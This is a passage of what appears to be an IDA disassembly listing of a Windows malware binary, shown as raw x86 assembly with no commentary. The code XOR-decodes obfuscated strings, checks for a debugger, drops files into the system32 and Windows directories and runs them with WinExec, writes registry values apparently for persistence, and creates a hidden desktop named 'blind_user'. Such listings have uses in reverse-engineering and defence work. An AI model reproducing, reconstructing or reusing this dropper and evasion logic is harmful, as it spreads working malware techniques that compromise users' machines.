[ebp+var_1] movzx edx, [ebp+var_2] cmp eax, edx jl short loc_403754 lea edi, [ebp+var_4B] lea esi, aMrie ; "mrie" mov ecx, 5 rep movsb movzx eax, [ebp+var_2] mov byte ptr [ebx+eax], 0 mov [ebp+var_3], 0 jmp short loc_4037AE ; --------------------------------------------------------------------------- loc_403794: ; CODE XREF: sub_4036DA+E5j push 1 push offset byte_4464E0 call sub_40364E push eax push ebx call sub_40C6D4 add esp, 10h add [ebp+var_3], 1 loc_4037AE: ; CODE XREF: sub_4036DA+B8j movzx eax, [ebp+var_3] mov edx, 20h movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jl short loc_403794 push [ebp+arg_8] push ebx call sub_40C6D4 add esp, 8 call sub_40C1F4 ; GetProcessHeap pop edi pop esi pop ebx leave retn sub_4036DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4037D7 proc near ; CODE XREF: sub_40A4E2+618p var_3B = byte ptr -3Bh var_38 = byte ptr -38h var_33 = byte ptr -33h var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3Ch push esi push edi mov [ebp+var_1], 0DEh movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al lea edi, [ebp+var_38] lea esi, aE0ls ; "E0LS" mov ecx, 5 rep movsb push 1 push (offset aBi_0+2) call sub_40364E push eax lea edi, [ebp+var_33] push edi push [ebp+arg_0] call sub_4036DA add esp, 14h lea edi, [ebp+var_3B] lea esi, aR ; " r" mov ecx, 3 rep movsb lea eax, [ebp+var_33] push eax call sub_40C254 ; GlobalAddAtomA call sub_40C218 ; GetTickCount pop edi pop esi leave retn sub_4037D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40383E proc near ; CODE XREF: sub_4038D6+39p ; .text:004039A6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43C198 lea eax, ds:40F6F0h[eax] push eax call sub_40C674 add esp, 0Ch mov [ebp+var_4], 2EBh xor edi, edi jmp short loc_403886 ; --------------------------------------------------------------------------- loc_40386C: ; CODE XREF: sub_40383E+4Aj mov eax, dword_43C198 add eax, edi lea eax, ds:40F6F0h[eax] movsx edx, byte ptr [eax] xor edx, 82h mov [eax], dl inc edi loc_403886: ; CODE XREF: sub_40383E+2Cj cmp edi, esi jl short loc_40386C mov eax, dword_43C198 add eax, esi mov byte ptr ds:dword_40F6F0[eax], 0 xor edi, edi mov edi, dword_43C198 add dword_43C198, 2 mov eax, dword_43C198 add eax, 5 add eax, esi mov dword_43C198, eax cmp eax, 0E0Ah jle short loc_4038C5 and dword_43C198, 0 loc_4038C5: ; CODE XREF: sub_40383E+7Ej mov [ebp+var_8], 369h lea eax, dword_40F6F0[edi] pop edi pop esi leave retn sub_40383E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038D6 proc near ; CODE XREF: sub_40A4E2+696p ; sub_40A4E2+6C2p var_109 = dword ptr -109h var_105 = byte ptr -105h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10Ch push esi push edi call sub_40C2B4 ; IsDebuggerPresent mov [ebp+var_105], 0C6h sub [ebp+var_105], 4Ah push [ebp+arg_0] lea eax, [ebp+var_104] push eax call sub_40C6B0 call sub_40C188 ; GetCurrentProcessId push 1 push offset aBi_0 ; "¡›" call sub_40383E push eax lea esi, [ebp+var_104] push esi call sub_40C6D4 push [ebp+arg_4] lea eax, [ebp+var_104] push eax call sub_40C6D4 add esp, 20h mov eax, dword_43C19C mov [ebp+var_109], eax lea eax, [ebp+var_104] push eax call sub_40C254 ; GlobalAddAtomA mov edi, 776h add edi, 1E4h pop edi pop esi leave retn sub_4038D6 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 118h push ebx push esi push edi mov word ptr [ebp-106h], 54FCh add word ptr [ebp-106h], 285Eh lea edi, [ebp-112h] lea esi, aQetMvo ; "Qet<mvo" movsd movsd call sub_40C1F4 ; GetProcessHeap push dword ptr [ebp+8] lea eax, [ebp-104h] push eax call sub_40C6B0 mov ebx, 2D18h inc ebx push 1 push offset aBi_0 ; "¡›" call sub_40383E push eax lea edi, [ebp-104h] push edi call sub_40C6D4 call sub_40C1F4 ; GetProcessHeap push dword ptr [ebp+0Ch] lea eax, [ebp-104h] push eax call sub_40C6D4 add esp, 20h call sub_40C194 ; GetCurrentThreadId loc_4039D4: ; CODE XREF: .text:00403A2Aj lea eax, [ebp-104h] push eax call sub_40C26C ; GlobalFindAtomA mov edi, eax mov [ebp-108h], di mov word ptr [ebp-10Ah], 2303h add word ptr [ebp-10Ah], 7A0Ch cmp word ptr [ebp-108h], 0 jz short loc_403A2C call sub_40C1B8 ; RtlGetLastWin32Error movzx eax, word ptr [ebp-108h] push eax call sub_40C260 ; GlobalDeleteAtom lea edi, [ebp-115h] lea esi, aDp ; "Dp" mov ecx, 3 rep movsb jmp short loc_4039D4 ; --------------------------------------------------------------------------- loc_403A2C: ; CODE XREF: .text:00403A03j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A31 proc near ; CODE XREF: sub_403AC7+8Fp ; sub_403BAD+73p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43C1B4 lea eax, ds:41D930h[eax] push eax call sub_40C674 add esp, 0Ch xor edi, edi jmp short loc_403A6E ; --------------------------------------------------------------------------- loc_403A57: ; CODE XREF: sub_403A31+3Fj mov eax, dword_43C1B4 add eax, edi lea eax, ds:41D930h[eax] movsx edx, byte ptr [eax] xor edx, 0Eh mov [eax], dl inc edi loc_403A6E: ; CODE XREF: sub_403A31+24j cmp edi, esi jl short loc_403A57 mov [ebp+var_4], 391h mov eax, dword_43C1B4 add eax, esi mov byte ptr ds:dword_41D930[eax], 0 mov edi, dword_43C1B4 add dword_43C1B4, 2 mov eax, dword_43C1B4 lea eax, [eax+esi+1] mov dword_43C1B4, eax add dword_43C1B4, 3 cmp dword_43C1B4, 0DD8h jle short loc_403ABD and dword_43C1B4, 0 loc_403ABD: ; CODE XREF: sub_403A31+83j lea eax, dword_41D930[edi] pop edi pop esi leave retn sub_403A31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403AC7 proc near ; CODE XREF: sub_403BAD+39p ; sub_403D6F+14Dp ... var_100F = byte ptr -100Fh var_100C = dword ptr -100Ch var_1007 = byte ptr -1007h var_1006 = word ptr -1006h var_1003 = byte ptr -1003h var_1000 = byte ptr -1000h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1010h call sub_40C118 push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C1B8 ; RtlGetLastWin32Error mov [ebp+var_1006], 310Dh add [ebp+var_1006], 5F44h push 0FFFh lea eax, [ebp+var_1003] push eax call sub_40C200 ; GetSystemDirectoryA lea edi, [ebp+var_100F] lea esi, word_4411DA mov ecx, 3 rep movsb mov [ebp+var_1000], 0 push 0FFFh lea eax, [ebp+var_1003] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_100C] push eax push 0FFFh lea eax, [ebp+var_1003] push eax lea eax, [ebp+var_1003] push eax call sub_40C23C ; GetVolumeInformationA push 4 push offset a6v ; "+>6V" call sub_403A31 push [ebp+var_100C] push eax push ebx call sub_40C6B0 add esp, 14h mov [ebp+var_1007], 0A8h movzx eax, [ebp+var_1007] imul eax, 0F9Fh mov [ebp+var_1007], al and [ebp+var_4], 0 loc_403B89: ; CODE XREF: sub_403AC7+DFj mov eax, [ebp+var_4] mov al, [ebx+eax] cmp al, 41h jge short loc_403B9F cmp al, 30h jle short loc_403B9F mov eax, [ebp+var_4] add eax, ebx add byte ptr [eax], 11h loc_403B9F: ; CODE XREF: sub_403AC7+CAj ; sub_403AC7+CEj inc [ebp+var_4] cmp [ebp+var_4], 8 jb short loc_403B89 pop edi pop esi pop ebx leave retn sub_403AC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BAD proc near ; CODE XREF: sub_40A4E2+736p var_29B = byte ptr -29Bh var_293 = byte ptr -293h var_28B = byte ptr -28Bh var_288 = byte ptr -288h var_281 = byte ptr -281h var_27B = byte ptr -27Bh var_274 = byte ptr -274h var_170 = byte ptr -170h var_10C = word ptr -10Ch var_109 = byte ptr -109h var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_102 = word ptr -102h var_FF = byte ptr -0FFh push ebp mov ebp, esp sub esp, 29Ch push ebx push esi push edi mov [ebp+var_103], 22h sub [ebp+var_103], 0FAh lea edi, [ebp+var_27B] lea esi, aG8c5 ; "G8C: 5" mov ecx, 7 rep movsb call sub_40C194 ; GetCurrentThreadId lea eax, [ebp+var_170] push eax call sub_403AC7 mov [ebp+var_104], 0C5h movzx eax, [ebp+var_104] imul eax, 301Ch mov [ebp+var_104], al lea edi, [ebp+var_281] lea esi, aBpUp ; "BP~up" mov ecx, 3 rep movsw push 9 push offset aRKvk ; "+}R+} kvk" call sub_403A31 lea edi, [ebp+var_170] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_FF] push edi call sub_40C6B0 lea eax, [ebp+var_FF] push eax call sub_40352B call sub_40C188 ; GetCurrentProcessId push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_FF] push eax call sub_40C2FC ; CreateFileA mov [ebp+var_108], eax mov [ebp+var_102], 1544h movzx eax, [ebp+var_102] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_102], ax push 0 lea eax, [ebp+var_288] push eax push 3621h push offset byte_43DBB9 push [ebp+var_108] call sub_40C3B0 ; WriteFile mov ebx, 16B7h sub ebx, 611Eh push [ebp+var_108] call sub_40C1DC ; CloseHandle mov [ebp+var_109], 1Ah add [ebp+var_109], 3Fh lea edi, [ebp+var_28B] lea esi, aZs ; "zS" mov ecx, 3 rep movsb push 104h lea eax, [ebp+var_274] push eax push 0 call sub_40C1C4 ; GetModuleFileNameA lea edi, [ebp+var_293] lea esi, byte_4411ED mov ecx, 2 rep movsd push 1 push offset a_ ; "." call sub_403A31 push eax lea edi, [ebp+var_FF] push edi call sub_40C6D4 lea edi, [ebp+var_29B] lea esi, aJSovv ; "j# so‚V" mov ecx, 2 rep movsd lea eax, [ebp+var_274] push eax lea eax, [ebp+var_FF] push eax call sub_40C6D4 add esp, 38h push 0 lea eax, [ebp+var_FF] push eax call sub_40C3A4 ; WinExec mov [ebp+var_10C], 23D3h sub [ebp+var_10C], 17ECh pop edi pop esi pop ebx leave retn sub_403BAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403D6F proc near ; CODE XREF: sub_40A4E2+2EDp var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F0 = byte ptr -2F0h var_2EF = byte ptr -2EFh var_2E9 = byte ptr -2E9h var_2E2 = byte ptr -2E2h var_2E1 = byte ptr -2E1h var_2E0 = byte ptr -2E0h var_274 = dword ptr -274h var_270 = byte ptr -270h var_20C = byte ptr -20Ch var_20A = word ptr -20Ah var_207 = byte ptr -207h var_206 = byte ptr -206h var_205 = byte ptr -205h var_101 = byte ptr -101h var_FB = byte ptr -0FBh var_FA = byte ptr -0FAh var_F9 = byte ptr -0F9h var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch push ebx push esi push edi mov [ebp+var_20C], 0B9h sub [ebp+var_20C], 0DBh lea edi, [ebp+var_2E1] lea esi, byte_4411FD xor ecx, ecx inc ecx rep movsb lea edi, [ebp+var_2E2] lea esi, byte_4411FE xor ecx, ecx inc ecx rep movsb push 26h push offset aUVVVVVVVVs ; "u+>:V+>:V#+>:V#+>:V#+>:V#+>:V+>:V+>:Vs" call sub_403A31 mov [ebp+var_2F8], eax call sub_40C698 mov [ebp+var_2FC], eax call sub_40C698 mov [ebp+var_300], eax call sub_40C698 mov [ebp+var_304], eax call sub_40C698 mov [ebp+var_308], eax call sub_40C698 mov [ebp+var_30C], eax call sub_40C698 mov [ebp+var_310], eax call sub_40C698 mov [ebp+var_314], eax call sub_40C698 mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_314] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_310] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_30C] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_308] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_304] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_300] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_2FC] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_2F8] push edi lea edi, [ebp+var_270] push edi call sub_40C6B0 lea edi, [ebp+var_2E9] lea esi, aXf7 ; ";xF:7=" mov ecx, 7 rep movsb lea eax, [ebp+var_2E0] push eax call sub_403AC7 add esp, 34h lea edi, [ebp+var_2EF] lea esi, aXvQu ; "x‚-QU" mov ecx, 3 rep movsw lea edi, [ebp+var_2F0] lea esi, byte_44120C xor ecx, ecx inc ecx rep movsb call sub_40C698 mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax add edi, 41h mov edx, edi mov [ebp+var_101], dl mov [ebp+var_206], 0A0h movzx eax, [ebp+var_206] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_206], al mov [ebp+var_1], 1 jmp short loc_403F60 ; --------------------------------------------------------------------------- loc_403F30: ; CODE XREF: sub_403D6F+1F6j call sub_40C698 movzx edi, [ebp+var_1] mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov esi, eax add esi, 61h mov edx, esi mov [ebp+edi+var_101], dl add [ebp+var_1], 1 loc_403F60: ; CODE XREF: sub_403D6F+1BFj mov al, [ebp+var_1] cmp al, 8 jbe short loc_403F30 mov [ebp+var_207], 2Fh movzx eax, [ebp+var_207] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_207], al mov [ebp+var_F9], 0 call sub_40C698 mov edx, eax test dl, 1 jnz short loc_403FA7 call sub_40C218 ; GetTickCount mov [ebp+var_FB], 33h mov [ebp+var_FA], 32h loc_403FA7: ; CODE XREF: sub_403D6F+223j push 9 push offset aRJbb ; "+}R+} jbb" call sub_403A31 lea edi, [ebp+var_101] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_205] push edi call sub_40C6B0 lea eax, [ebp+var_205] push eax call sub_40352B call sub_40C188 ; GetCurrentProcessId push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_205] push eax call sub_40C2FC ; CreateFileA mov [ebp+var_274], eax mov ebx, 2B3Ch mov eax, ebx add eax, ebx mov ebx, eax push [ebp+arg_0] mov eax, offset aJfjbnm32 ; DATA XREF: .data:0043E149w ; .data:0043E163w ... ; "Jfjbnm32" push eax call sub_40C6B0 ; DATA XREF: .data:0043E232w mov [ebp+var_20A], 10D7h sub_403D6F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404020 proc near ; DATA XREF: .data:0043E216o ; .data:0043E22Cr ... movzx eax, word ptr [ebp-20Ah] mov edx, eax ; DATA XREF: .data:0043E220r add edx, eax mov eax, edx ; DATA XREF: .data:loc_43E1B1r ; .data:loc_43E1C1r mov [ebp-20Ah], ax ; DATA XREF: .data:0043E0B5w loc_404034: ; DATA XREF: .data:0043E0BFw ; .data:0043E0DAr ... push 0 lea eax, [ebp-2F4h] ; DATA XREF: .data:0043E0C7w sub_404020 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40403C proc near ; DATA XREF: .data:0043E0D4o ; .data:0043E0E2o push eax push 1A01h push offset dword_43C1B8 push dword ptr [ebp-274h] call sub_40C3B0 ; WriteFile call sub_40C224 ; GetVersion push dword ptr [ebp-274h] call sub_40C1DC ; CloseHandle push 17h push offset aMbGjrRgAmKXk ; "MB]GJR+}RG`^|am]k|xk|=<" call sub_403A31 lea edi, [ebp-270h] push edi push eax lea edi, [ebp-101h] push edi call sub_40C6B0 mov byte ptr [ebp-20Bh], 0E6h movzx eax, byte ptr [ebp-20Bh] ; DATA XREF: .data:0043E064w loc_404090: ; DATA XREF: .data:0043E069w ; .data:0043E085w mov edx, eax add edx, eax loc_404094: ; DATA XREF: .data:0043E5C4w ; .data:0043E5CAr ... mov eax, edx mov [ebp-20Bh], al ; DATA XREF: .data:0043F3ADr sub_40403C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40409C proc near ; DATA XREF: .data:0043E4EEo lea eax, [ebp-205h] push eax push offset byte_446481 lea eax, [ebp-101h] ; DATA XREF: sub_43E640+Co push eax push 80000000h call sub_404156 mov ebx, 5497h ; DATA XREF: sub_43E640+1Co mov eax, 26F3h mul ebx mov [ebp-318h], eax mov ebx, eax push 0Eh push offset aZfKojgIcajkb ; "Zf|kojg`iCajkb" call sub_403A31 mov [ebp-31Ch], eax push 9 push offset aOOZckZ ; "O~o|zck`z" call sub_403A31 push eax mov edi, [ebp-31Ch] push edi lea edi, [ebp-101h] push edi push 80000000h call sub_404156 mov byte ptr [ebp-275h], 35h add byte ptr [ebp-275h], 4Ch push 45h push offset aAhzyoKrcgmAAhz ; "]ahzyo|kRCgm|a}ahzRYg`jay}RM{||k`zXk|}g"... call sub_403A31 lea edi, [ebp-270h] push edi lea edi, [ebp-2E0h] push edi push eax push 80000002h call sub_404156 add esp, 80h mov dword ptr [ebp-27Ch], 2043h add dword ptr [ebp-27Ch], 714Ch pop edi pop esi pop ebx leave retn sub_40409C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404156 proc near ; CODE XREF: sub_40409C+18p ; sub_40409C+63p ... var_16 = word ptr -16h var_14 = byte ptr -14h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov ebx, [ebp+arg_C] mov [ebp+var_5], 79h movzx eax, [ebp+var_5] imul eax, 6E73h mov [ebp+var_5], al inc dword_43B228 lea edi, [ebp+var_14] lea esi, aJdh1c ; " Jdh1c" mov ecx, 7 rep movsb call sub_40C2B4 ; IsDebuggerPresent and [ebp+var_4], 0 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_40C59C ; RegCreateKeyExA call sub_40C194 ; GetCurrentThreadId mov ecx, ebx or eax, 0FFFFFFFFh loc_4041BC: ; CODE XREF: sub_404156+6Bj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4041BC mov [ebp+var_C], eax push [ebp+var_C] push ebx push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call sub_40C5CC ; RegSetValueExA mov ax, word_441214 mov [ebp+var_16], ax push [ebp+var_4] call sub_40C5A8 ; RegCloseKey mov [ebp+var_D], 63h movzx eax, [ebp+var_D] imul eax, 77DBh mov [ebp+var_D], al pop edi pop esi pop ebx leave retn sub_404156 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404201 proc near ; CODE XREF: sub_4042A4+C1p ; sub_4042A4+E1p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_441220 lea eax, ds:411C40h[eax] push eax call sub_40C674 add esp, 0Ch xor edi, edi jmp short loc_404242 ; --------------------------------------------------------------------------- loc_404228: ; CODE XREF: sub_404201+43j mov eax, dword_441220 add eax, edi lea eax, ds:411C40h[eax] movsx edx, byte ptr [eax] xor edx, 0B3h mov [eax], dl inc edi loc_404242: ; CODE XREF: sub_404201+25j cmp edi, esi jl short loc_404228 mov [ebp+var_4], 1B4h mov eax, dword_441220 add eax, esi mov byte ptr ds:dword_411C40[eax], 0 xor edi, edi mov edi, dword_441220 add dword_441220, 3 mov eax, dword_441220 lea eax, [eax+esi+2] mov dword_441220, eax add dword_441220, 3 cmp dword_441220, 0DE2h jle short loc_404293 and dword_441220, 0 loc_404293: ; CODE XREF: sub_404201+89j mov [ebp+var_8], 1C5h lea eax, dword_411C40[edi] pop edi pop esi leave retn sub_404201 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042A4 proc near ; CODE XREF: sub_40A4E2+346p var_14A6 = byte ptr -14A6h var_14A5 = byte ptr -14A5h var_14A4 = word ptr -14A4h var_14A2 = word ptr -14A2h var_14A0 = byte ptr -14A0h var_149C = dword ptr -149Ch var_1498 = byte ptr -1498h var_1494 = byte ptr -1494h var_1395 = byte ptr -1395h var_1394 = dword ptr -1394h var_1390 = dword ptr -1390h var_1380 = dword ptr -1380h var_12FC = byte ptr -12FCh var_11FD = byte ptr -11FDh var_10FE = byte ptr -10FEh var_FF = byte ptr -0FFh push ebp mov ebp, esp mov eax, 14A8h call sub_40C118 push ebx push esi push edi lea edi, [ebp-1497h] lea esi, byte_441224 mov ecx, 3 rep movsb call sub_40C218 ; GetTickCount push 0FFh lea eax, [ebp+var_12FC] push eax push 0 call sub_40C1C4 ; GetModuleFileNameA mov ebx, 0EE2h mov eax, ebx add eax, ebx mov ebx, eax mov [ebp+var_1390], 94h lea eax, [ebp+var_1390] push eax call sub_40C230 ; GetVersionExA call sub_40C194 ; GetCurrentThreadId mov eax, dword_441227 mov [ebp+var_149C+1], eax cmp [ebp+var_1380], 2 jnz loc_4043BF lea edi, [ebp+var_14A5] lea esi, byte_44122B mov ecx, 3 rep movsb push 0FFh lea eax, [ebp+var_FF] push eax call sub_40C200 ; GetSystemDirectoryA mov [ebp+var_14A2], 214Fh movzx eax, [ebp+var_14A2] imul eax, 7280h mov [ebp+var_14A2], ax push 0Fh push offset aCQA ; "–ÀïËÀßÕ×ßÝÇÑÒÇ" call sub_404201 lea edi, [ebp+var_FF] push edi push eax lea edi, [ebp+var_11FD] push edi call sub_40C6B0 push 0Ah push offset aCQA_0 ; "–ÀïÐÞ×ÃÚÕ" call sub_404201 lea edi, [ebp+var_FF] push edi push eax lea edi, [ebp+var_1494] push edi call sub_40C6B0 push 8 push offset aQA ; "ïÐÞ×ÖËÖ" call sub_404201 push eax lea edi, [ebp+var_FF] push edi call sub_40C6D4 add esp, 38h jmp loc_404462 ; --------------------------------------------------------------------------- loc_4043BF: ; CODE XREF: sub_4042A4+73j mov byte ptr [ebp+var_14A2+1], 0CCh add byte ptr [ebp+var_14A2+1], 84h push 0FFh lea eax, [ebp+var_FF] push eax call sub_40C248 ; GetWindowsDirectoryA mov [ebp+var_14A4], 283Eh inc [ebp+var_14A4] push 0Fh push offset aCQKA ; "–ÀïËÀßÕ×ߊËÑÒÇ" call sub_404201 lea edi, [ebp+var_FF] push edi push eax lea edi, [ebp+var_11FD] push edi call sub_40C6B0 call sub_40C194 ; GetCurrentThreadId push 0Eh push offset aCQA_1 ; "–ÀïÐÜÞÞÒÝ×ÃÚÕ" call sub_404201 lea edi, [ebp+var_FF] push edi push eax lea edi, [ebp+var_1494] push edi call sub_40C6B0 mov [ebp+var_14A5], 0D8h sub [ebp+var_14A5], 0E2h push 0Ch push offset aQA_0 ; "ïÐÜÞÞÒÝ×ÐÜÞ" call sub_404201 push eax lea edi, [ebp+var_FF] push edi call sub_40C6D4 add esp, 38h call sub_40C2B4 ; IsDebuggerPresent loc_404462: ; CODE XREF: sub_4042A4+116j lea eax, [ebp+var_1494] push eax call sub_40C3E0 ; DeleteFileA mov ebx, 27EBh mov eax, ebx add eax, ebx mov ebx, eax lea edi, [ebp+var_149C] lea esi, word_44122E xor ecx, ecx inc ecx rep movsb push 0 push 80h push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_11FD] push eax call sub_40C2FC ; CreateFileA mov [ebp+var_1394], eax push 39h push offset dword_446398 call sub_404201 lea edi, [ebp+var_11FD] push edi lea edi, [ebp+var_12FC] push edi lea edi, [ebp+var_12FC] push edi push eax lea edi, [ebp+var_10FE] push edi call sub_40C6B0 add esp, 1Ch call sub_40C1B8 ; RtlGetLastWin32Error lea ecx, [ebp+var_10FE] or eax, 0FFFFFFFFh loc_4044ED: ; CODE XREF: sub_4042A4+24Ej inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4044ED push 0 lea esi, [ebp+var_14A0] push esi push eax lea edi, [ebp+var_10FE] push edi push [ebp+var_1394] call sub_40C3B0 ; WriteFile call sub_40C188 ; GetCurrentProcessId push [ebp+var_1394] call sub_40C1DC ; CloseHandle mov [ebp+var_1395], 0E5h add [ebp+var_1395], 1 push 8 push offset byte_44638F call sub_404201 add esp, 8 lea edi, [ebp+var_11FD] push edi lea edi, [ebp+var_FF] push edi push eax lea edi, [ebp+var_10FE] push edi call sub_40C6B0 add esp, 10h call sub_40C218 ; GetTickCount push 0 lea eax, [ebp+var_10FE] push eax call sub_40C3A4 ; WinExec mov ebx, 1EEBh sub ebx, 446Ch pop edi pop esi pop ebx sub_4042A4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40457C proc near ; DATA XREF: sub_43E741+E0o leave retn sub_40457C endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_441238 lea eax, ds:42FD10h[eax] push eax call sub_40C674 add esp, 0Ch xor edi, edi jmp short loc_4045BE ; --------------------------------------------------------------------------- loc_4045A4: ; CODE XREF: .text:004045C0j mov eax, dword_441238 add eax, edi lea eax, ds:42FD10h[eax] movsx edx, byte ptr [eax] xor edx, 0D2h mov [eax], dl inc edi loc_4045BE: ; CODE XREF: .text:004045A2j cmp edi, esi jl short loc_4045A4 mov dword ptr [ebp-4], 367h mov eax, dword_441238 add eax, esi mov byte ptr ds:dword_42FD10[eax], 0 xor edi, edi mov edi, dword_441238 mov eax, edi inc eax add eax, esi mov dword_441238, eax cmp eax, 0DB2h ; =============== S U B R O U T I N E ======================================= sub_4045EF proc near ; DATA XREF: sub_43E741+4B8o jle short loc_4045F8 and dword_441238, 0 loc_4045F8: ; CODE XREF: sub_4045EFj lea eax, dword_42FD10[edi] pop edi pop esi leave retn sub_4045EF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404602 proc near ; CODE XREF: sub_4063A9+1CEp var_14 = dword ptr -14h var_D = byte ptr -0Dh var_C = word ptr -0Ch var_9 = byte ptr -9 var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_1], 0DBh movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al cmp dword_44123C, 0 jz short loc_404663 call sub_40C1F4 ; GetProcessHeap call sub_40C194 ; GetCurrentThreadId push eax call sub_40C4B8 ; GetThreadDesktop mov [ebp+var_14], eax mov [ebp+var_C], 0C1h movzx eax, [ebp+var_C] imul eax, 4D9Fh mov [ebp+var_C], ax mov eax, dword_44123C cmp [ebp+var_14], eax jnz short loc_40469F mov [ebp+var_D], 96h add [ebp+var_D], 0EBh xor eax, eax inc eax jmp short loc_4046B8 ; --------------------------------------------------------------------------- loc_404663: ; CODE XREF: sub_404602+21j push 0 push 0C7h push 0 push 0 push 0 push offset aBlind_user ; "blind_user" call sub_40C4A0 ; CreateDesktopA mov dword_44123C, eax lea edi, [ebp+var_9] lea esi, dword_441240 xor ecx, ecx inc ecx rep movsb cmp dword_44123C, 0 jnz short loc_40469A xor eax, eax jmp short loc_4046B8 ; --------------------------------------------------------------------------- loc_40469A: ; CODE XREF: sub_404602+92j call sub_40C2B4 ; IsDebuggerPresent loc_40469F: ; CODE XREF: sub_404602+52j push dword_44123C call sub_40C4AC ; SetThreadDesktop mov [ebp+var_8], eax mov ebx, 578Dh sub ebx, 2A5Ah loc_4046B8: ; CODE XREF: sub_404602+5Fj ; sub_404602+96j pop edi pop esi pop ebx leave retn sub_404602 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046BD proc near ; CODE XREF: sub_4063A9+241p arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_40C194 ; GetCurrentThreadId mov eax, [ebp+arg_0] lea edx, aBlind_user ; "blind_user" mov [eax+8], edx call sub_40C188 ; GetCurrentProcessId pop ebp retn sub_4046BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046D8 proc near ; CODE XREF: sub_40479E+49p ; sub_40479E+7Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi 